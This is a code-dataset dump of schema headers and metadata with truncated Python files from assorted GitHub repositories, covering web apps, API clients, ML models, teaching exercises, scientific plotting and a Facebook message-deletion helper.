hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
a7b849290f7861eab83199145c1d9c325f1b35b8
1,230
py
Python
src/onegov/election_day/views/manage/cache.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/views/manage/cache.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/views/manage/cache.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from morepath import redirect from onegov.core.security import Secret from onegov.election_day import _ from onegov.election_day import ElectionDayApp from onegov.election_day.forms import EmptyForm from onegov.election_day.layouts import DefaultLayout from onegov.election_day.models import Principal @ElectionDayApp....
30
76
0.673171
0227bf126889ca284b860e8149fc6b0d85145869
3,557
py
Python
netease/form_data.py
FelixLukk/netease_music_cat
97f4487e74e09661a1dd46b7b00c01845311436b
[ "MIT" ]
2
2020-02-20T18:05:45.000Z
2020-02-22T06:40:52.000Z
netease/form_data.py
FelixLukk/netease_music_cat
97f4487e74e09661a1dd46b7b00c01845311436b
[ "MIT" ]
1
2021-06-01T23:45:58.000Z
2021-06-01T23:45:58.000Z
data_acquire_store/netease/form_data.py
PatrickNgZh/RecommenderSystem
0dbd3ac05ca8c1b5948a2605f1a9407f1ec59d39
[ "Apache-2.0" ]
1
2020-03-17T09:17:18.000Z
2020-03-17T09:17:18.000Z
# !/usr/bin/env python # -*- coding: utf-8 -*- # author: humingk # ---------------------- import hashlib from binascii import b2a_hex import config import base64 from Crypto.Cipher import AES from my_tools.logger_tool import loggler_tool logger = loggler_tool() class form_data: """ AES加密请求参数类 利用fidd...
31.758929
120
0.580264
025ba3253ae75088f3197a7cbb348cca3e722146
5,885
py
Python
WebHostLib/autolauncher.py
Berserker66/ALttPEntranceRandomizer
9c681cc65d7281ccded03484b050e8f80ea65dc6
[ "MIT" ]
null
null
null
WebHostLib/autolauncher.py
Berserker66/ALttPEntranceRandomizer
9c681cc65d7281ccded03484b050e8f80ea65dc6
[ "MIT" ]
5
2020-01-18T21:10:46.000Z
2020-01-25T20:58:19.000Z
WebHostLib/autolauncher.py
Berserker66/ALttPEntranceRandomizer
9c681cc65d7281ccded03484b050e8f80ea65dc6
[ "MIT" ]
2
2020-01-18T17:36:50.000Z
2020-01-22T16:52:08.000Z
from __future__ import annotations import logging import multiprocessing from datetime import timedelta, datetime import concurrent.futures import sys import typing import time from pony.orm import db_session, select, commit from Utils import restricted_loads class CommonLocker(): """Uses a file lock to signal t...
33.821839
119
0.57842
5a32f05025f974ad6e024526afc7349526ed96fb
3,942
py
Python
web/controllers/api/Member.py
yao6891/FlaskOrdering
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
[ "Apache-2.0" ]
1
2020-03-24T04:26:34.000Z
2020-03-24T04:26:34.000Z
web/controllers/api/Member.py
yao6891/FlaskOrdering
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
[ "Apache-2.0" ]
null
null
null
web/controllers/api/Member.py
yao6891/FlaskOrdering
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- from web.controllers.api import route_api from flask import request, jsonify, g from application import app, db import requests, json from common.models.member.Member import Member from common.models.member.OauthMemberBind import OauthMemberBind from common.models.food.WxShareHistory import WxSh...
32.578512
85
0.638508
0ca8b0b32cd09564e690e01a8726571f382328c5
935
py
Python
SoSe-21/Uebung-7/A2-Produktionsliste.py
jonasrdt/Wirtschaftsinformatik2
30d5d896808b98664c55cb6fbb3b30a7f1904d9f
[ "MIT" ]
1
2022-03-23T09:40:39.000Z
2022-03-23T09:40:39.000Z
SoSe-21/Uebung-7/A2-Produktionsliste.py
jonasrdt/Wirtschaftsinformatik2
30d5d896808b98664c55cb6fbb3b30a7f1904d9f
[ "MIT" ]
null
null
null
SoSe-21/Uebung-7/A2-Produktionsliste.py
jonasrdt/Wirtschaftsinformatik2
30d5d896808b98664c55cb6fbb3b30a7f1904d9f
[ "MIT" ]
null
null
null
# Initialisierung der stueckliste stueckliste = [] def teilhinzufuegen(bestandteil): stueckliste.append(bestandteil) def trenner(anzahl): for i in range(anzahl): print("*", end="") print() trenner(125) print("Programm zur Erfassung der Stückliste für das SpaceX Starship") korrekte_eingabe = False...
29.21875
84
0.670588
0bc988f1396ac1838176dcf803864433c73a22ab
1,156
py
Python
research/cv/ssd_resnet34/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/ssd_resnet34/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/ssd_resnet34/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
34
86
0.679066
f08ab13b13adafa2685c3743243a66ebd007fec6
2,090
py
Python
Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch04_strings/ex04_palindrome_test.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch04_strings/ex04_palindrome_test.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch04_strings/ex04_palindrome_test.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
# Beispielprogramm für das Buch "Python Challenge" # # Copyright 2020 by Michael Inden import pytest from ch04_strings.solutions.ex04_palindrome import is_palindrome_rec, is_palindrome_special, is_palindrome, \ is_palindrome_with_reverse, is_palindrome_special_with_reg_ex def palindrome_inputs_and_expecteds(): ...
35.423729
109
0.679426
f09caa2bbf63eb57249c3fb418461a53251fb2c5
9,451
py
Python
indl/model/tfp/devae.py
SachsLab/indl
531d2e0c2ee765004aedc553af40e258262f86cb
[ "Apache-2.0" ]
1
2021-02-22T01:39:50.000Z
2021-02-22T01:39:50.000Z
indl/model/tfp/devae.py
SachsLab/indl
531d2e0c2ee765004aedc553af40e258262f86cb
[ "Apache-2.0" ]
null
null
null
indl/model/tfp/devae.py
SachsLab/indl
531d2e0c2ee765004aedc553af40e258262f86cb
[ "Apache-2.0" ]
null
null
null
import numpy as np import tensorflow as tf import tensorflow.keras.layers as tfkl from tensorflow.keras import backend as K import tensorflow_probability as tfp from indl.model.tfp import LearnableMultivariateNormalDiagCell, LearnableMultivariateNormalDiag tfd = tfp.distributions tfpl = tfp.layers tfb = tfp.bijectors s...
41.818584
108
0.642789
4a163ae1135a7594307b5a8d3fa3c8d961198b4c
520
py
Python
Python/Exercícios_Python/034_maior_e_menor_valor.py
vdonoladev/aprendendo-programacao
83abbcd6701b2105903b28fd549738863418cfb8
[ "MIT" ]
null
null
null
Python/Exercícios_Python/034_maior_e_menor_valor.py
vdonoladev/aprendendo-programacao
83abbcd6701b2105903b28fd549738863418cfb8
[ "MIT" ]
null
null
null
Python/Exercícios_Python/034_maior_e_menor_valor.py
vdonoladev/aprendendo-programacao
83abbcd6701b2105903b28fd549738863418cfb8
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """034 - Maior e menor valor Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1tR5I-76SVFX8tPZ8l2JrakHqZregyIRU """ primeiro = int(input('Digite o primeiro número: ')) segundo = int(input('Digite o segundo número: ')) terceiro = ...
34.666667
77
0.725
c5bb67860009b8004c58ed01e73affa8a5febd09
1,234
py
Python
pages/report.py
ipussy/ipussy.github.io
95d19a74e38bb54303cf18057a99a57c783e76bf
[ "Apache-2.0" ]
null
null
null
pages/report.py
ipussy/ipussy.github.io
95d19a74e38bb54303cf18057a99a57c783e76bf
[ "Apache-2.0" ]
null
null
null
pages/report.py
ipussy/ipussy.github.io
95d19a74e38bb54303cf18057a99a57c783e76bf
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 import smtplib from datetime import datetime from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText def sendReportEmail(subject, message): mailContent = message #The mail addresses and password senderAddress = 'gso.nguyenkhai@gmail.com' senderPass ...
33.351351
90
0.679903
c5d5029e4a966999dc654088343b8dc6c1d7248c
4,533
py
Python
research/cv/StackedHourglass/src/dataset/MPIIDataLoader.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/StackedHourglass/src/dataset/MPIIDataLoader.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/StackedHourglass/src/dataset/MPIIDataLoader.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
27.640244
113
0.550408
76940c2065767f57e9656df7e5810fb0e51193a1
3,161
py
Python
get_data.py
gshikhri/nse-fund-analysis
c9a51047aad8772148c8b8a5b8c94fe3a3b78901
[ "MIT" ]
null
null
null
get_data.py
gshikhri/nse-fund-analysis
c9a51047aad8772148c8b8a5b8c94fe3a3b78901
[ "MIT" ]
null
null
null
get_data.py
gshikhri/nse-fund-analysis
c9a51047aad8772148c8b8a5b8c94fe3a3b78901
[ "MIT" ]
null
null
null
import pandas as pd import json import requests import datetime as dt import yfinance as yf import numpy as np def get_fund_nav_df(mf_dict, start_date, end_date): fund_nav_df = pd.DataFrame() for fund_name in mf_dict.keys(): api_url = mf_dict[fund_name] response = requests.get(api_url) ...
40.012658
104
0.687757
8c2a75c7429eb3eaee25bcbc428a10a22bc9bc8d
1,002
py
Python
project/flaskr/tests/test_templates.py
Hackathon2020/CoronaHackathon2020
1f27ad7406c9da50a3acfb48f970a0b0b51c47da
[ "MIT" ]
5
2020-03-21T12:58:10.000Z
2020-03-23T13:02:18.000Z
project/flaskr/tests/test_templates.py
Hackathon2020/CoronaHackathon2020
1f27ad7406c9da50a3acfb48f970a0b0b51c47da
[ "MIT" ]
26
2020-03-20T21:04:20.000Z
2020-04-30T19:38:02.000Z
project/flaskr/tests/test_templates.py
Hackathon2020/CoronaHackathon2020
1f27ad7406c9da50a3acfb48f970a0b0b51c47da
[ "MIT" ]
1
2020-05-08T20:45:20.000Z
2020-05-08T20:45:20.000Z
import unittest import pathlib import json from jinja2 import Template from project.questionaire import Question, Questionaire from project.questions_from_json import read class Jinja2TemplatesTest(unittest.TestCase): def test_get_result_questionair(self): path_context = pathlib.Path(pathlib.Path(__file_...
45.545455
129
0.714571
4ff6f824af5bed84b5b519bac2f8d0d12ef9ed88
7,028
py
Python
model_zoo/ernie-health/preprocess.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
model_zoo/ernie-health/preprocess.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
model_zoo/ernie-health/preprocess.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applic...
32.238532
80
0.591064
e86461578a5060bed992ce37a20090fe4fafd288
2,824
py
Python
s-mbf-master/src/Delmsg.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
50
2019-03-07T16:33:01.000Z
2022-01-05T11:13:47.000Z
s-mbf-master/src/Delmsg.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
3
2019-03-11T08:26:38.000Z
2019-08-08T17:39:42.000Z
s-mbf-master/src/Delmsg.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
38
2019-03-28T16:03:38.000Z
2021-04-01T10:40:26.000Z
#Python 3.7.X #Author: KANG-NEWBIE ©2019 #Special thanks to LOoLzeC (Deray) import requests,time,os,click,sys from bs4 import BeautifulSoup as BS from getpass import getpass from multiprocessing.pool import ThreadPool from src import Genkuki class Del: def __init__(self): self.rl=[] self.req=request...
32.45977
258
0.60517
0f1c4238b844a79936145b2477b8553b5d05117b
1,620
py
Python
CodeChef_problems/Laddu Accural System/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
CodeChef_problems/Laddu Accural System/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
CodeChef_problems/Laddu Accural System/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
# Sample Input: # 2 # 4 INDIAN # CONTEST_WON 1 # TOP_CONTRIBUTOR # BUG_FOUND 100 # CONTEST_HOSTED # 4 NON_INDIAN # CONTEST_WON 1 # TOP_CONTRIBUTOR # BUG_FOUND 100 # CONTEST_HOSTED # Sample Output: # 3 # 1 # Explanation # In the first example, # For winning contest with rank 1, user gets 300 + 20 - 1 = 319 laddus. # F...
33.061224
316
0.627778
bc2885e2c4096e369f35a3ce27c18ce8b7cb5829
3,275
py
Python
V46 Faraday/plots/plot.py
Ninilini/FP-Bachelor
0ca4d45efb211278793d1667731b09d35cfc94aa
[ "MIT" ]
1
2019-11-27T07:01:08.000Z
2019-11-27T07:01:08.000Z
V46 Faraday/plots/plot.py
Ninilini/FP-Bachelor
0ca4d45efb211278793d1667731b09d35cfc94aa
[ "MIT" ]
null
null
null
V46 Faraday/plots/plot.py
Ninilini/FP-Bachelor
0ca4d45efb211278793d1667731b09d35cfc94aa
[ "MIT" ]
1
2022-02-20T09:24:16.000Z
2022-02-20T09:24:16.000Z
# coding=utf-8 import numpy as np import matplotlib.pyplot as plt from scipy.optimize import curve_fit import uncertainties.unumpy as unp from uncertainties import ufloat z, B = np.genfromtxt('data/B.txt', unpack=True) l, th1, th2, th3 = np.genfromtxt('data/GaAs.txt', unpack=True) d1 = 0.00511 d2 = 0.00136 d3 = 0.0012...
32.107843
94
0.583817
3873424b140875cf1465e3d7ca047411d8cd7237
528
py
Python
exercises/fr/test_03_06.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
exercises/fr/test_03_06.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
exercises/fr/test_03_06.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
def test(): assert "len(doc)" in __solution__, "Obtiens-tu la longueur du doc ?" assert "return doc" in __solution__, "Retournes-tu le doc ?" assert "nlp.add_pipe" in __solution__, "As-tu ajouté le composant ?" assert ( "first=True" in __solution__ ), "As-tu ajouté le composant en premier da...
48
104
0.689394
2ab94cd69dffd043347d3da56a04c5dfb5e5541a
3,783
py
Python
test/test_npu/test_network_ops/test_layer_norm_backward.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
test/test_npu/test_network_ops/test_layer_norm_backward.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
test/test_npu/test_network_ops/test_layer_norm_backward.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020, Huawei Technologies.All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law...
40.244681
105
0.642347
2d4f34b2d9a50bbb22fbaac3a831bcd2a2317382
561
py
Python
PINp/2015/DENISENKO_A_N/task_6_27.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
PINp/2015/DENISENKO_A_N/task_6_27.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
PINp/2015/DENISENKO_A_N/task_6_27.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
# Задача 6. Вариант 27. # Создайте игру, в которой компьютер загадывает имя одного из двух братьев, #создателей старославянской азбуки, а игрок должен его угадать # Denisenko A. N. # 02.06.2016 import random avtori = ("Кирилл", "Мефодий") zagadka = random.choice(avtori) predpologenie = input("Программа загадала одно...
29.526316
106
0.750446
4f01f58691e75a2020a675f412947f00fa8a96ae
442
py
Python
frappe-bench/apps/erpnext/erpnext/buying/doctype/supplier/supplier_dashboard.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/buying/doctype/supplier/supplier_dashboard.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/buying/doctype/supplier/supplier_dashboard.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
from frappe import _ def get_data(): return { 'heatmap': True, 'heatmap_message': _('This is based on transactions against this Supplier. See timeline below for details'), 'fieldname': 'supplier', 'transactions': [ { 'label': _('Procurement'), 'items': ['Request for Quotation', 'Supplier Quotation'...
24.555556
110
0.628959
35541747d092f87edc477422d225cec9dfe91ce8
3,528
py
Python
verto/processors/ScratchTreeprocessor.py
uccser/verto
d36aa88b208f1700fafc033679bd1e9775496d25
[ "MIT" ]
4
2017-04-10T06:09:54.000Z
2019-05-04T02:07:40.000Z
verto/processors/ScratchTreeprocessor.py
uccser/verto
d36aa88b208f1700fafc033679bd1e9775496d25
[ "MIT" ]
268
2017-04-03T20:40:46.000Z
2022-02-04T20:10:08.000Z
verto/processors/ScratchTreeprocessor.py
uccser/kordac
d36aa88b208f1700fafc033679bd1e9775496d25
[ "MIT" ]
1
2019-01-07T15:46:31.000Z
2019-01-07T15:46:31.000Z
from markdown.treeprocessors import Treeprocessor from verto.processors.utils import etree from verto.utils.HtmlParser import HtmlParser from verto.utils.HtmlSerializer import HtmlSerializer from collections import namedtuple import re class ScratchImageMetaData(namedtuple('ScratchImageMetaData', 'hash, text')): ...
36.75
98
0.602324
35be88e2b9de3f5352d44deeb0aba03df26d414a
6,265
py
Python
kicker_pong/HumanKeeper_Model.py
GeorgJohn/kicker_pong_git
2263737cab1f74f324772855028f8a4c3b23c4de
[ "MIT" ]
null
null
null
kicker_pong/HumanKeeper_Model.py
GeorgJohn/kicker_pong_git
2263737cab1f74f324772855028f8a4c3b23c4de
[ "MIT" ]
null
null
null
kicker_pong/HumanKeeper_Model.py
GeorgJohn/kicker_pong_git
2263737cab1f74f324772855028f8a4c3b23c4de
[ "MIT" ]
null
null
null
from kicker_pong.GameBar_Model import GameBar from kicker_pong.Constant import * class HumanKeeper(GameBar): """Konstanten""" NUMBER_OF_FIGURES = 1 DISTANCE_FIGURES = 0 # MAX_POS_KEEPER = 242 POSITION_ON_BAR = FIGURE_HEIGHT / 2 ABS_X_POSITION = COURT_WIDTH - X_POSITION_KEEPER X_REFLECTION_...
56.441441
116
0.577654
ea8cb6a6b25a76bc0266e769ac12e5bf3df7824d
19
py
Python
src/utils/__init__.py
Yoann-Renard/Dimension-Y-DesktopApp
f2c6d4834338e88fb536cdd57d9c95e07079aed1
[ "MIT" ]
null
null
null
src/utils/__init__.py
Yoann-Renard/Dimension-Y-DesktopApp
f2c6d4834338e88fb536cdd57d9c95e07079aed1
[ "MIT" ]
null
null
null
src/utils/__init__.py
Yoann-Renard/Dimension-Y-DesktopApp
f2c6d4834338e88fb536cdd57d9c95e07079aed1
[ "MIT" ]
null
null
null
# utils module init
19
19
0.789474
f49cbe2a6df3739edb628ab72d97801be6278938
834
py
Python
fixture/application.py
AlexStroke/OKB
b4b25c2912a7fd735218323d980aa2b60eaa46e2
[ "Apache-2.0" ]
null
null
null
fixture/application.py
AlexStroke/OKB
b4b25c2912a7fd735218323d980aa2b60eaa46e2
[ "Apache-2.0" ]
null
null
null
fixture/application.py
AlexStroke/OKB
b4b25c2912a7fd735218323d980aa2b60eaa46e2
[ "Apache-2.0" ]
null
null
null
from selenium import webdriver from fixture.session import SessionHelper from fixture.profile import ProfileHelper class Application: def __init__(self): self.driver = webdriver.Chrome("/Users/User/Downloads/chromedriver") self.driver.implicitly_wait(1) self.session = SessionHelper(self)...
26.0625
76
0.642686
3376c710f1f240a1898d6d2b8f7c02a6ea0232b6
1,510
py
Python
quant/api/binance_validation.py
doubleDragon/QuantBot
53a1d6c62ecece47bf777da0c0754430b706b7fd
[ "MIT" ]
7
2017-10-22T15:00:09.000Z
2019-09-19T11:45:43.000Z
quant/api/binance_validation.py
doubleDragon/QuantBot
53a1d6c62ecece47bf777da0c0754430b706b7fd
[ "MIT" ]
1
2018-01-19T16:19:40.000Z
2018-01-19T16:19:40.000Z
quant/api/binance_validation.py
doubleDragon/QuantBot
53a1d6c62ecece47bf777da0c0754430b706b7fd
[ "MIT" ]
5
2017-12-11T15:10:29.000Z
2018-12-21T17:40:58.000Z
#!/usr/bin/env python # coding=utf-8 from .binance_exceptions import BinanceOrderUnknownSymbolException, \ BinanceOrderInactiveSymbolException, \ BinanceOrderMinPriceException, \ BinanceOrderMinAmountException, \ BinanceOrderMinTotalException """ Use details from https://www.binance.com/exchange/publi...
27.454545
79
0.710596
d56225166695b77fba722f65a752cb80d2bcb7ed
292
py
Python
rndIpsErzeugen.py
haenno/FOM-BSc-WI-Semster3-Skriptsprachen-Python
bb34b6b1ba7e8fe7b22ce598a80d5011122c2d4a
[ "MIT" ]
null
null
null
rndIpsErzeugen.py
haenno/FOM-BSc-WI-Semster3-Skriptsprachen-Python
bb34b6b1ba7e8fe7b22ce598a80d5011122c2d4a
[ "MIT" ]
null
null
null
rndIpsErzeugen.py
haenno/FOM-BSc-WI-Semster3-Skriptsprachen-Python
bb34b6b1ba7e8fe7b22ce598a80d5011122c2d4a
[ "MIT" ]
null
null
null
import random def rndIP(): min = 0 max = 255 seperator = '.' return str(str(int(random.uniform(min,max)))+seperator+str(int(random.uniform(min,max)))+seperator+str(int(random.uniform(min,max)))+seperator+str(int(random.uniform(min,max)))) while True: print (rndIP())
22.461538
181
0.664384
638b9f17cee94a04acd7e9ec7821b665870dc01e
1,682
py
Python
research/cv/dem/src/kNN.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/dem/src/kNN.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/dem/src/kNN.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
37.377778
78
0.651011
f6de5ac60268caa69dcde83565fe1b2d2ece52a5
1,599
py
Python
src/visitpy/visit_flow/flow/tests/test_filters_cmd.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
226
2018-12-29T01:13:49.000Z
2022-03-30T19:16:31.000Z
src/visitpy/visit_flow/flow/tests/test_filters_cmd.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
5,100
2019-01-14T18:19:25.000Z
2022-03-31T23:08:36.000Z
src/visitpy/visit_flow/flow/tests/test_filters_cmd.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
84
2019-01-24T17:41:50.000Z
2022-03-10T10:01:46.000Z
# Copyright (c) Lawrence Livermore National Security, LLC and other VisIt # Project developers. See the top-level LICENSE file for dates and other # details. No copyright assignment is required to contribute to VisIt. """ file: test_filters_cmd.py author: Cyrus Harrison <cyrush@llnl.gov> created: 3/24/2012 descr...
29.611111
73
0.641651
1231613b95f9103f17fd17b9dd572c0dfafd3696
237
py
Python
ProjectEuler/#20_FactorialDigitSum_sol1.py
Tudor67/Competitive-Programming
ae4dc6ed8bf76451775bf4f740c16394913f3ff1
[ "MIT" ]
1
2022-01-26T14:50:07.000Z
2022-01-26T14:50:07.000Z
ProjectEuler/#20_FactorialDigitSum_sol1.py
Tudor67/Competitive-Programming
ae4dc6ed8bf76451775bf4f740c16394913f3ff1
[ "MIT" ]
null
null
null
ProjectEuler/#20_FactorialDigitSum_sol1.py
Tudor67/Competitive-Programming
ae4dc6ed8bf76451775bf4f740c16394913f3ff1
[ "MIT" ]
null
null
null
def factorial(n): p = 1 for i in range(2, n + 1): p *= i return p N = 100 N_FACTORIAL = factorial(N) digits = [int(digit) for digit in str(N_FACTORIAL)] digits_sum = sum(digits) # 648 print(digits_sum)
16.928571
52
0.582278
c3f5cf0eefde0b8761cb56421dbbae611ff4eb5e
8,319
py
Python
Packs/QRadar/Scripts/QRadarCreateAQLQuery/QRadarCreateAQLQuery_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/QRadar/Scripts/QRadarCreateAQLQuery/QRadarCreateAQLQuery_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/QRadar/Scripts/QRadarCreateAQLQuery/QRadarCreateAQLQuery_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import pytest from CommonServerPython import * from QRadarCreateAQLQuery import * class TestFieldsSection: def test_sanity(self): assert fields_section(['field'], ['value']) == "(field = 'value')" def test_with_space(self): assert fields_section(['field name'], ['value']) == "('field name' = ...
37.642534
116
0.630484
7f015e990e9ed916d4127e344c4aa7d7b3f02353
64
py
Python
testpatchs/start.py
zhuweiDark/fangzi
2011dff33d40b43889b5784e509b876380ab3ed3
[ "BSD-2-Clause" ]
null
null
null
testpatchs/start.py
zhuweiDark/fangzi
2011dff33d40b43889b5784e509b876380ab3ed3
[ "BSD-2-Clause" ]
null
null
null
testpatchs/start.py
zhuweiDark/fangzi
2011dff33d40b43889b5784e509b876380ab3ed3
[ "BSD-2-Clause" ]
null
null
null
